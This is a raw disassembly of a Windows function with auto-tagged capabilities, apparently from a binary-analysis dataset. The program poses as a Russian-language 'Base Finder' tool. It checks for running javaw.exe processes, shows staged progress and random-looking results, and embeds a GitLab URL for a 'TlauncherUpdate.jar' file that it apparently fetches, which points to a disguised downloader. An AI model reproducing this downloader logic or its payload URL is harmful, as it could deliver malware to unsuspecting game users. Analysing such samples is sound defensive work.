Function at 0x140001830
Capabilities:
Encode data using xor
Enumerate processes
Execute command
Generate random numbers using a mersenne twister
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x16a0]
mov eax, 0x17a0
call fcn.1400051b0
sub rsp, rax
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x1690], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x140006bb0]
movdqu xmmword [rbp + 0x90], xmm1
mov byte [rbp + 0x80], r12b
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r12b
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1684], 0xffffffff
mov dword [rbp + 0x304], eax
lea edx, [r12 + 1]
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x304], eax
inc rdx
cmp rdx, 0x270
jb 0x1400018d0
mov dword [rbp + 0x300], 0x270
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov ecx, 0x60
call fcn.140004380
mov rcx, rax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb0], 0x5f
mov qword [rbp + 0xb8], 0x5f
movaps xmm0, xmmword [str.https:__gitlab.com_digitalkakoin_ssl___raw_main_TlauncherUpdate.jar_ref_typeheadsinlinefalse]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006920]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006930]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140006940]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140006950]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x140006960]
movsd qword [rax + 0x50], xmm0
mov eax, dword [0x140006968]
mov dword [rcx + 0x58], eax
movzx eax, word [0x14000696c]
mov word [rcx + 0x5c], ax
movzx eax, byte [0x14000696e]
mov byte [rcx + 0x5e], al
mov byte [rcx + 0x5f], 0
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rcx, str.Base_Finder
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [rbp + 0xa0]
call fcn.140001580
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rcx, [0x14000698c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
call fcn.140001370
lea rdx, str.e_93m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0xc0], 0x238
lea rdx, [rbp + 0xc0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001ce7
lea rdi, str.javaw.exe
nop
lea rdx, [rbp + 0xec]
mov rax, r12
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rdi + rax*2]
jne 0x140001ccf
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rdi + rax*2 + 2]
jne 0x140001ccf
add rax, 2
cmp rax, 0xa
jne 0x140001a50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.e_93m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov ecx, 0x40
call fcn.140004380
mov rdi, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x38
mov qword [rsp + 0x50], 0x3f
movups xmm0, xmmword [0x1400069f0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006a00]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140006a10]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x140006a20]
movsd qword [rax + 0x30], xmm0
lea rsi, [rax + 0x38]
mov byte [rsi], 0
mov rbx, rax
cmp rax, rsi
je 0x140001b41
mov qword [rsp + 0x30], 0xa
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003500
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc rbx
cmp rbx, rsi
jne 0x140001b10
mov edx, 0x40
mov rcx, rdi
call fcn.1400043c4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov ecx, 0x30
call fcn.140004380
mov rsi, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x2c
mov qword [rsp + 0x50], 0x2f
movups xmm0, xmmword [0x140006a30]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006a40]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140006a50]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x140006a58]
mov dword [rsi + 0x28], eax
lea rdi, [rsi + 0x2c]
mov byte [rdi], 0
mov rbx, rsi
cmp rsi, rdi
je 0x140001c01
mov qword [rsp + 0x30], 0xa
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003500
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc rbx
cmp rbx, rdi
jne 0x140001bd0
mov edx, 0x30
mov rcx, rsi
call fcn.1400043c4
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x140006a60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400036d0
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
add rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
mov r8b, 0x2e
call fcn.140004210
dec eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 1
jbe 0x140001dad
lea rdx, str.e_91m
call fcn.140003100
lea rdx, [0x140006a68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x1400032d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x2710
jmp 0x140001d5b
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001a40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14000698c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
call fcn.140001370
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.e_91m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x1400069b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x1400032d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x186a0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140002c35
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.e_93m
call fcn.140003100
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov ecx, 0x30
call fcn.140004380
mov rdi, rax
mov qword [rsp + 0x38], rax
mov r14d, 0x25
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 0x2f
movups xmm0, xmmword [0x140006a88]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006a98]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140006aa8]
mov dword [rax + 0x20], ecx
movzx eax, byte [0x140006aac]
mov byte [rdi + 0x24], al
lea rsi, [rdi + 0x25]
mov byte [rsi], 0
mov rbx, rdi
cmp rdi, rsi
je 0x140001e61
mov qword [rsp + 0x30], 0xa
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003500
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc rbx
cmp rbx, rsi
jne 0x140001e30
mov edx, 0x30
mov rcx, rdi
call fcn.1400043c4
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x140006a60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [rbp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x140001e94
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
cmp eax, 0xa
jne 0x140001e94
mov eax, dword [rbp + 0x58]
dec eax
cmp eax, 0x2bb
jbe 0x140001f37
lea rdx, str.e_91m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x140006ab0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x1400032d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001e94
lea rcx, [0x14000698c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
call fcn.140001370
lea rdx, str.e_93m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov ecx, 0x20
call fcn.140004380
mov rsi, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x11
mov qword [rsp + 0x50], 0x1f
movups xmm0, xmmword [0x140006ae0]
movups xmmword [rax], xmm0
movzx ecx, byte [0x140006af0]
mov byte [rax + 0x10], cl
lea rdi, [rax + 0x11]
mov byte [rdi], 0
mov rbx, rax
cmp rax, rdi
je 0x140002001
mov qword [rsp + 0x30], 0xa
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003500
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc rbx
cmp rbx, rdi
jne 0x140001fd0
mov edx, 0x20
mov rcx, rsi
call fcn.1400043c4
lea rbx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rbx, qword [rbp + 0x80]
lea rdi, [rbp + 0x80]
cmova rdi, qword [rbp + 0x80]
add rdi, qword [rbp + 0x90]
cmp rbx, rdi
je 0x140002081
mov qword [rsp + 0x30], 0xa
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003500
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc rbx
cmp rbx, rdi
jne 0x140002050
mov edx, dword [rbp + 0x58]
lea rcx, [rbp - 8]
call fcn.140002f20
nop
mov r8, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
sub rax, r8
lea rsi, str._n__
cmp rax, 0x25
jb 0x140002121
lea rax, [r8 + 0x25]
mov qword [rbp + 8], rax
lea rbx, [rbp - 8]
cmp rcx, 0xf
cmova rbx, qword [rbp - 8]
lea rax, [0x140006b1d]
cmp rax, rbx
jbe 0x1400020e5
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x1400020e5
cmp rbx, rsi
ja 0x1400020dd
mov rdi, r12
jmp 0x1400020e8
mov rdi, rbx
sub rdi, rsi
jmp 0x1400020e8
mov rdi, r14
inc r8
lea rcx, [rbx + 0x25]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r14, rdi
lea rdx, [rsi + 0x25]
add rdx, rdi
lea rcx, [rbx + rdi]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 8]
jmp 0x140002137
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rbp - 8]
call fcn.140003f00
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400021a3
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x58]
mov word [rax + rcx], 0xa
lea rax, [rsp + 0x58]
jmp 0x1400021c2
mov qword [rsp + 0x20], 1
lea r9, [0x140006af4]
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140003a20
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x18]
call fcn.140001500
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140002229
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002223
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002223
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002269
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002264
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002264
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
movdqa xmm0, xmmword [0x140006bb0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x1400022ba
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043c4
mov edi, r12d
mov qword [rsp + 0x30], 0x190
nop word [rax + rax]
lea rdx, [0x140006888]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
mov eax, edi
and eax, 3
jbe 0x140002309
mov ebx, eax
nop dword [rax]
lea rdx, [0x140006494]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
sub rbx, 1
jne 0x1400022f0
lea rdx, [0x140006898]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc edi
cmp edi, 0xa
jl 0x1400022d0
lea rdx, str._r__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x300]
call fcn.140004080
mov ecx, eax
imul rcx, rcx, 0x2711
cmp ecx, 0x1ea2
ja 0x1400023b9
nop dword [rax]
lea rcx, [rbp + 0x300]
call fcn.140004080
mov ecx, eax
imul rdx, rcx, 0x2711
cmp edx, 0x1ea3
jb 0x140002380
shr rdx, 0x20
add edx, 0x7fffec78
mov ebx, 0x80000000
lea eax, [rdx + rbx]
lea edi, [rdx - 0x80000000]
cmp edx, ebx
jmp 0x1400023d3
shr rcx, 0x20
add ecx, 0x7fffec78
mov ebx, 0x80000000
lea eax, [rcx + rbx]
lea edi, [rcx - 0x80000000]
cmp ecx, ebx
cmovae edi, eax
lea rcx, [rbp + 0x300]
call fcn.140004080
imul ecx, eax, 0x2711
cmp ecx, 0x2711
jae 0x14000241a
cmp ecx, 0x1ea3
jae 0x14000241a
nop dword [rax + rax]
lea rcx, [rbp + 0x300]
call fcn.140004080
imul ecx, eax, 0x2711
cmp ecx, 0x1ea3
jb 0x140002400
lea rcx, [rbp + 0x300]
call fcn.140004080
mov ecx, eax
imul rcx, rcx, 0x2711
cmp ecx, 0x2711
jae 0x14000245d
cmp ecx, 0x1ea3
jae 0x14000245d
nop
lea rcx, [rbp + 0x300]
call fcn.140004080
mov ecx, eax
imul rcx, rcx, 0x2711
cmp ecx, 0x1ea3
jb 0x140002440
shr rcx, 0x20
add ecx, 0x7fffec78
lea eax, [rcx + rbx]
lea r15d, [rcx - 0x80000000]
cmp ecx, ebx
cmovae r15d, eax
lea rcx, [rbp + 0x300]
call fcn.140004080
mov ecx, eax
shl rcx, 2
shr rcx, 0x20
test ecx, ecx
je 0x140002529
sub ecx, 1
je 0x1400024e1
cmp ecx, 1
jne 0x140002578
mov rcx, qword [rbp + 0x78]
cmp rcx, 2
jb 0x1400024d0
lea rax, [rbp + 0x60]
cmp rcx, 0xf
cmova rax, qword [rbp + 0x60]
mov qword [rbp + 0x70], 2
mov word [rax], 0xe4c0
mov byte [rax + 2], 0
jmp 0x140002578
lea r9, [0x140006b3c]
mov edx, 2
jmp 0x14000256f
mov rax, qword [rbp + 0x78]
cmp rax, 9
jb 0x14000251b
lea rbx, [rbp + 0x60]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x60]
mov qword [rbp + 0x70], 9
mov r8d, 9
lea rdx, [0x140006b30]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x140002578
lea r9, [0x140006b30]
mov edx, 9
jmp 0x14000256f
mov rax, qword [rbp + 0x78]
cmp rax, 0xb
jb 0x140002563
lea rbx, [rbp + 0x60]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x60]
mov qword [rbp + 0x70], 0xb
mov r8d, 0xb
lea rdx, [0x140006b20]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xb], 0
jmp 0x140002578
lea r9, [0x140006b20]
mov edx, 0xb
lea rcx, [rbp + 0x60]
call fcn.140003bb0
lea rcx, [0x14000698c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
call fcn.140001370
lea rdx, str.e_93m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003100
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov ecx, 0x20
call fcn.140004380
mov r14, rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], 0x11
mov qword [rsp + 0x50], 0x1f
movups xmm0, xmmword [str.___]
movups xmmword [rax], xmm0
movzx ecx, byte [0x140006b50]
mov byte [rax + 0x10], cl
lea rsi, [rax + 0x11]
mov byte [rsi], 0
mov rbx, rax
cmp rax, rsi
je 0x140002641
mov qword [rsp + 0x30], 0xa
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003500
lea rdx, [0x140003310]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140003330
inc rbx
cmp rbx, rsi
jne 0x140002610
mov edx, 0x20
mov rcx, r14
call fcn.1400043c4
mov edx, r15d
lea rcx, [rbp + 0x38]
call fcn.140002f20
nop
mov edx, edi
lea rcx, [rbp - 0x28]
call fcn.140002f20
nop
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
sub rax, r8
mov r14d, 0x15
lea rsi, [0x140006b60]
cmp rax, r14
jb 0x1400026ff
lea rax, [r8 + 0x15]
mov qword [rbp - 0x18], rax
lea rbx, [rbp - 0x28]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x28]
lea rax, [0x140006b75]
cmp rax, rbx
jbe 0x1400026c3
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x1400026c3
cmp rbx, rsi
ja 0x1400026bb
mov rdi, r12
jmp 0x1400026c6
mov rdi, rbx
sub rdi, rsi
jmp 0x1400026c6
mov rdi, r14
inc r8
lea rcx, [rbx + 0x15]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
sub r14, rdi
lea rdx, [rsi + 0x15]
add rdx, rdi
lea rcx, [rbx + rdi]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x28]
jmp 0x140002715
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rbp - 0x28]
call fcn.140003f00
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140002781
lea rax, [rcx + 2]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x78]
mov word [rax + rcx], 0x202c
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x78]
jmp 0x1400027a0
mov qword [rsp + 0x20], 2
lea r9, [0x140006b5c]
mov edx, 2
lea rcx, [rsp + 0x78]
call fcn.140003a20
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x38]
lea r8, [rsp + 0x38]
lea rcx, [rbp - 0x48]
call fcn.140003d10
nop
mov rcx, qword [rbp - 0x38]
